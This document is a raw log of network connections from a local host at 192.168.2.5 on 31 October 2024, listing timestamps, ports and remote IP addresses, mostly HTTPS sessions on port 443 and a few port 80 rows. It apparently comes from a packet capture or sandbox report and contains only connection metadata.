Oct 31, 2024 01:18:25.255337954 CET	49727	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.255337954 CET	49727	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.255373001 CET	49727	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.255394936 CET	443	49727	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.255531073 CET	443	49726	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.255584955 CET	49726	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.255687952 CET	49726	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.255706072 CET	443	49726	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.255718946 CET	49726	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.255723953 CET	443	49726	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.257350922 CET	443	49725	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.257734060 CET	443	49725	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.257795095 CET	49725	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.257841110 CET	49725	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.257848024 CET	443	49725	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.258414030 CET	443	49723	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.258601904 CET	443	49723	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.258687973 CET	49723	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.258790016 CET	49723	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.258815050 CET	443	49723	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.258829117 CET	49723	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.258838892 CET	443	49723	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.259099960 CET	49729	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.259130001 CET	443	49729	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.259206057 CET	49729	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.259355068 CET	49729	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.259367943 CET	443	49729	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.260047913 CET	443	49724	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.260152102 CET	443	49724	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.260217905 CET	49724	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.260421038 CET	49730	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.260462046 CET	443	49730	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.260560036 CET	49724	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.260570049 CET	443	49724	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.260585070 CET	49724	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.260588884 CET	443	49724	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.260597944 CET	49730	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.260867119 CET	49730	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.260893106 CET	443	49730	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.261737108 CET	49731	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.261756897 CET	443	49731	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.261970043 CET	49731	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.263040066 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.263077974 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.263156891 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.263254881 CET	49733	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.263276100 CET	443	49733	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.263330936 CET	49733	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.263420105 CET	49731	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.263439894 CET	443	49731	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.263456106 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.263472080 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.263554096 CET	49733	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.263561964 CET	443	49733	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.296272039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:25.296336889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:25.983222961 CET	443	49731	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.985928059 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:25.986026049 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:25.986212015 CET	443	49730	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.987582922 CET	49731	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.987601995 CET	443	49731	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.988255024 CET	49731	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.988260031 CET	443	49731	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.995596886 CET	443	49733	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.997488022 CET	443	49729	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.999952078 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.013624907 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:26.013642073 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:26.013880968 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:26.018322945 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.018342972 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.022178888 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.022186041 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.033169985 CET	49730	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.041697025 CET	49733	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.041723013 CET	443	49733	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.042434931 CET	49733	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.042439938 CET	443	49733	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.044045925 CET	49730	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.044056892 CET	443	49730	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.044464111 CET	49730	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.044471025 CET	443	49730	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.053734064 CET	49729	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.053754091 CET	443	49729	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.055135965 CET	49729	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.055139065 CET	443	49729	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.117059946 CET	443	49731	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.117094994 CET	443	49731	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.117158890 CET	49731	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.137397051 CET	49731	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.137417078 CET	443	49731	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.137430906 CET	49731	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.137437105 CET	443	49731	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.142539978 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:26.148225069 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.148372889 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.148473024 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.155334949 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.155349970 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.168190956 CET	443	49733	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.168361902 CET	443	49733	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.168798923 CET	49736	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.168833971 CET	49733	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.168849945 CET	443	49736	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.168908119 CET	49736	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.170026064 CET	443	49730	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.170757055 CET	443	49730	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.170957088 CET	49730	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.171196938 CET	49733	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.171210051 CET	443	49733	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.171224117 CET	49733	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.171230078 CET	443	49733	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.176249981 CET	49736	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.176282883 CET	443	49736	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.179203033 CET	49737	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.179229975 CET	443	49737	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.179342031 CET	49737	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.179989100 CET	49737	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.180002928 CET	443	49737	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.181000948 CET	49730	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.181025028 CET	443	49730	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.181039095 CET	49730	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.181046009 CET	443	49730	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.183783054 CET	443	49729	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.183835983 CET	443	49729	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.183883905 CET	49729	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.186188936 CET	49729	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.186197042 CET	443	49729	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.186206102 CET	49729	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.186208963 CET	443	49729	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.187305927 CET	49738	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.187347889 CET	443	49738	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.187401056 CET	49738	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.188102961 CET	49738	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.188124895 CET	443	49738	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.195394039 CET	49739	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.195415020 CET	443	49739	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.195595026 CET	49739	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.200212955 CET	49739	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.200228930 CET	443	49739	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.216933012 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.216950893 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.217108011 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.217318058 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.217324018 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.383305073 CET	49743	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:26.383337021 CET	443	49743	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:26.383424997 CET	49743	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:26.383661032 CET	49743	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:26.383671999 CET	443	49743	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:26.902364969 CET	443	49737	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.902873039 CET	49737	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.902893066 CET	443	49737	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.904948950 CET	49737	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.904956102 CET	443	49737	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.905699968 CET	443	49736	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.906709909 CET	49736	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.906757116 CET	443	49736	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.907696962 CET	49736	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.907721996 CET	443	49736	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.915673018 CET	443	49738	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.916799068 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:26.916825056 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:26.916955948 CET	49738	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.916977882 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:26.916997910 CET	443	49738	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.917185068 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:26.917197943 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:26.917788029 CET	49738	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.917807102 CET	443	49738	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.941831112 CET	443	49739	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.942349911 CET	49739	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.942362070 CET	443	49739	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.942840099 CET	49739	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.942843914 CET	443	49739	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.955406904 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.955893040 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.955904007 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:26.956406116 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:26.956408978 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.036236048 CET	443	49736	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.036354065 CET	443	49736	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.036416054 CET	49736	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.037945986 CET	49736	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.037974119 CET	443	49736	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.037998915 CET	49736	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.038007975 CET	443	49736	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.042804956 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.042829037 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.042890072 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.043580055 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.043592930 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.051280022 CET	443	49738	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.051337957 CET	443	49738	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.051640034 CET	49738	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.055093050 CET	49738	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.055135012 CET	443	49738	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.055151939 CET	49738	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.055160999 CET	443	49738	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.064464092 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.064512014 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.064718008 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.065341949 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.065373898 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.071999073 CET	443	49739	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.072074890 CET	443	49739	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.072132111 CET	49739	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.072318077 CET	49739	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.072334051 CET	443	49739	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.072344065 CET	49739	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.072349072 CET	443	49739	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.076375008 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.076410055 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.076472044 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.076672077 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.076689005 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.085403919 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.085510969 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.085601091 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.086919069 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.086931944 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.088464022 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:27.090024948 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.090039968 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.090147018 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.090728998 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.090739012 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.135337114 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.235707045 CET	443	49737	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.235872030 CET	443	49737	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.235992908 CET	49737	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.236804962 CET	49737	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.236818075 CET	443	49737	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.236860037 CET	49737	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.236865997 CET	443	49737	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.239968061 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.239988089 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.240057945 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.240226984 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.240237951 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.261524916 CET	443	49743	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:27.261800051 CET	49743	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:27.261818886 CET	443	49743	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:27.262270927 CET	443	49743	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:27.263052940 CET	49743	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:27.263130903 CET	443	49743	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:27.345258951 CET	49743	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:27.370363951 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.370388031 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.370394945 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.370425940 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.370440006 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.370451927 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.370481014 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:27.370505095 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.370522976 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:27.370560884 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:27.371145010 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.371151924 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.371252060 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:27.371263027 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.371515989 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:27.371706009 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:27.767725945 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:27.767993927 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:27.768013000 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:27.768908024 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:27.768976927 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:27.770041943 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:27.770097017 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:27.770266056 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:27.770272970 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:27.772068024 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.772761106 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.772769928 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.773288012 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.773292065 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.808890104 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.809423923 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.809469938 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.809920073 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.809930086 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.818964005 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.819514036 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.819531918 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.820007086 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.820013046 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.821932077 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:27.823179007 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.823780060 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.823808908 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.824268103 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.824274063 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.901901007 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.901947021 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.902070045 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.902522087 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.902534962 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.902546883 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.902551889 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.905960083 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.905994892 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.906066895 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.906245947 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.906255960 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.919754028 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:27.919779062 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:27.919838905 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:27.920108080 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:27.920119047 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:27.931329012 CET	49756	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:27.931369066 CET	443	49756	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:27.931637049 CET	49756	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:27.932677031 CET	49756	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:27.932693958 CET	443	49756	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:27.941644907 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.941741943 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.941787004 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.942011118 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.942023993 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.945569038 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.945593119 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.945734978 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.945967913 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.945980072 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.952790976 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.953401089 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.953459978 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.953495026 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.953505039 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.953516960 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.953521013 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.956118107 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.956178904 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.956433058 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.956557035 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.956571102 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.956584930 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.956592083 CET	443	49748	13.107.246.45	192.168.2.5
